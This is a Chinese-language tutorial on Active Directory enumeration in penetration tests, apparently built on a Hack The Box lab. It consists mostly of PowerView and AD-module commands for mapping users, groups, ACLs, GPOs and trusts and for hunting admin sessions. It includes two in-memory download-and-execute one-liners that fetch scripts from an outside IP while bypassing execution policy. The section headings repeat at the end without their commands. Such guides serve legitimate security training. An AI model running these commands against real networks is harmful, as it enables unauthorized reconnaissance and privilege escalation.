域信息枚举
字数 1189 2025-08-25 22:58:55

Active Directory 域信息枚举技术详解

0x00 前言

域内信息枚举是渗透测试中获取域控制权后的关键步骤,为后续横向移动和权限提升提供必要信息支撑。本文将全面介绍使用PowerView和Active Directory模块进行域内枚举的技术方法。

0x01 模块导入

PowerView导入

项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Import-Module C:\Users\arksvc\Documents\powerview.ps1

内存加载执行(绕过PowerShell策略):

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"

Active Directory模块导入

项目地址:https://github.com/samratashok/ADModule

# 使用dll导入
Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose

# 远程导入
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory

0x02 枚举技术

0x02.1 当前域基本信息枚举

获取当前域信息:

Get-NetDomain
Get-ADDomain

列举其他域:

Get-NetDomain -Domain cascade.local
Get-ADDomain -Identity cascade.local

获取当前域SID:

Get-DomainSid
(Get-ADDomain).DomainSid

获取域策略(仅PowerView):

Get-DomainPolicy
(Get-DomainPolicy)."System access"  # 系统最小/最大密码长度等
(Get-DomainPolicy)."kerberos policy"  # Kerberos票据时效等

获取其他域策略:

Get-DomainPolicy -Domain cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"

定位域控制器:

Get-NetDomainController
Get-ADDomainController

定位其他域域控:

Get-NetDomainController -Domain cascade.local
Get-ADDomainController -DomainName cascade.local -Discover

0x02.2 域内用户信息枚举

获取域用户信息:

Get-NetUser
Get-NetUser -Username Administrator

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrator -Properties *

用户属性信息:

Get-UserProperty
Get-UserProperty -Properties pwdlastset  # 最近密码设置时间
Get-Userproperty -Properties badpwdcount  # 错误登录次数(可用于检测爆破可能性)
Get-Userproperty -Properties logoncount  # 成功登录次数

# AD模块方式
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount

查找用户描述中的敏感信息:

Find-UserField -SearchField Description -SearchTerm "built"  # 查找内置账户
Find-UserField -SearchField Description -SearchTerm "pass"  # 查找密码相关描述

# AD模块方式
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description

0x02.3 域内机器信息枚举

获取域内计算机信息:

Get-NetComputer
Get-NetComputer -OperatingSystem "*server 2008*"  # 特定操作系统
Get-NetComputer -Ping  # 探测存活主机
Get-NetComputer -Fulldata

# AD模块方式
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}

0x02.4 域内组信息枚举

获取组信息:

Get-NetGroup
Get-NetGroup -GroupName *admin*  # 含admin的组
Get-NetGroup 'Domain Admins' -Fulldata
Get-NetGroup -domain cascade.local

# AD模块方式
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

列出组成员信息:

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup -UserName Administrator

# AD模块方式
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity administrator

目标计算机组及成员信息(需管理员权限):

Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -Recurse  # 域控组上用户
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -ListGroups  # 域控上的组

目标计算机登录用户信息:

Get-NetLoggedon -ComputerName CASC-DC1.cascade.local  # 活跃用户(需管理员权限)
Get-LoggedonLocal -ComputerName CASC-DC1.cascade.local  # 已登录用户(需开启远程注册表)
Get-LastLoggedon -ComputerName CASC-DC1.cascade.local  # 最近登录用户(需管理员权限+远程注册表)

0x02.5 域内敏感文件枚举

当前域共享:

Invoke-ShareFinder -Verbose

敏感文件:

Invoke-FileFinder -Verbose

文件服务:

Get-NetFileServer

0x02.6 GPO & OUs枚举

GPO(组策略对象)可用于提权、后门和权限维持,OU(组织单位)是管理目的的通用容器。

获取当前域GPO列表:

Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local  # 目标机器GPO
Get-NetGPOGroup  # 查找groups.xml中的用户
Find-GPOComputerAdmin -Computername CASC-DC1.cascade.local  # 通过GPO查找目标机器管理员
Find-GPOLocation -UserName arksvc  # 查找用户在哪些机器有管理员权限

获取域OU:

Get-NetOU -Fulldata
Get-ADOrganizationalUnit -Filter * -Properties *

查询应用在OU上的GPO:

Get-NetGPO -GPOname '{322FEA29-156D-4476-8A06-1935A3525C1C}'  # 通过Get-NetOU获取gplink

0x02.7 ACL枚举

ACL(访问控制列表)可用于提权,如Exchange、Enterprise Key admins等场景。

获取ACL关联项:

Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbose

# AD模块方式
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access

# LDAP查询
Get-ObjectAcl -ADSpath 'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local' -ResolveGUIDs -Verbose

查找ACEs:

Invoke-ACLScanner -ResolveGUIDs

通过特定路径查找ACLs:

Get-PathAcl -Path "\\CASC-DC1.cascade.local\\sysvol"

查找有权限修改ACL的用户:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

0x02.8 域信任枚举

获取域信任关系:

Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local

# AD模块方式
Get-ADTrust
Get-ADTrust -Identity CASC-DC1.cascade.local

0x02.9 林信息枚举

获取林详情:

Get-NetForest
Get-NetForest -Forest htb.local

# AD模块方式
Get-ADForest
Get-ADForest -Identity htb.local

获取林内域:

Get-NetForestDomain
Get-NetForestDomain -Forest htb.local

# AD模块方式
(Get-ADForest).Domains

当前林目录:

Get-NetForestCatalog

林间信任:

Get-NetForestTrust

0x02.10 用户搜寻

列出当前用户有权限的机器:

Find-LocalAdminAccess -Verbose

查找域内所有机器本地管理员:

Invoke-EnumerateLocalAdmin  # 需本地管理员权限

查找特定用户/组登录过的机器:

Invoke-UserHunter
Invoke-UserHunter -Stealth
Invoke-UserHunter -UserName arksvc
Invoke-UserHunter -GroupName "RDP Users"

查找域管理员登录且当前用户有权限的机器:

Invoke-UserHunter -CheckAccess

0x03 总结

本文详细介绍了Active Directory域环境下的信息枚举技术,包括:

  1. 基础模块导入方法(PowerView和AD模块)
  2. 域基本信息枚举(域、域控、策略等)
  3. 用户和计算机信息枚举
  4. 组和权限关系分析
  5. 敏感文件和共享发现
  6. GPO和OU结构分析
  7. ACL权限分析
  8. 域信任和林关系
  9. 用户活动追踪

这些技术为域内横向移动、权限提升和持久化提供了必要的信息基础。PowerView功能丰富但易被检测,AD模块具有微软签名更隐蔽。实际渗透中应根据环境选择合适的工具和方法。

Active Directory 域信息枚举技术详解 0x00 前言 域内信息枚举是渗透测试中获取域控制权后的关键步骤,为后续横向移动和权限提升提供必要信息支撑。本文将全面介绍使用PowerView和Active Directory模块进行域内枚举的技术方法。 0x01 模块导入 PowerView导入 项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 内存加载执行(绕过PowerShell策略): Active Directory模块导入 项目地址:https://github.com/samratashok/ADModule 0x02 枚举技术 0x02.1 当前域基本信息枚举 获取当前域信息: 列举其他域: 获取当前域SID: 获取域策略(仅PowerView): 获取其他域策略: 定位域控制器: 定位其他域域控: 0x02.2 域内用户信息枚举 获取域用户信息: 用户属性信息: 查找用户描述中的敏感信息: 0x02.3 域内机器信息枚举 获取域内计算机信息: 0x02.4 域内组信息枚举 获取组信息: 列出组成员信息: 目标计算机组及成员信息(需管理员权限): 目标计算机登录用户信息: 0x02.5 域内敏感文件枚举 当前域共享: 敏感文件: 文件服务: 0x02.6 GPO & OUs枚举 GPO(组策略对象)可用于提权、后门和权限维持,OU(组织单位)是管理目的的通用容器。 获取当前域GPO列表: 获取域OU: 查询应用在OU上的GPO: 0x02.7 ACL枚举 ACL(访问控制列表)可用于提权,如Exchange、Enterprise Key admins等场景。 获取ACL关联项: 查找ACEs: 通过特定路径查找ACLs: 查找有权限修改ACL的用户: 0x02.8 域信任枚举 获取域信任关系: 0x02.9 林信息枚举 获取林详情: 获取林内域: 当前林目录: 林间信任: 0x02.10 用户搜寻 列出当前用户有权限的机器: 查找域内所有机器本地管理员: 查找特定用户/组登录过的机器: 查找域管理员登录且当前用户有权限的机器: 0x03 总结 本文详细介绍了Active Directory域环境下的信息枚举技术,包括: 基础模块导入方法(PowerView和AD模块) 域基本信息枚举(域、域控、策略等) 用户和计算机信息枚举 组和权限关系分析 敏感文件和共享发现 GPO和OU结构分析 ACL权限分析 域信任和林关系 用户活动追踪 这些技术为域内横向移动、权限提升和持久化提供了必要的信息基础。PowerView功能丰富但易被检测,AD模块具有微软签名更隐蔽。实际渗透中应根据环境选择合适的工具和方法。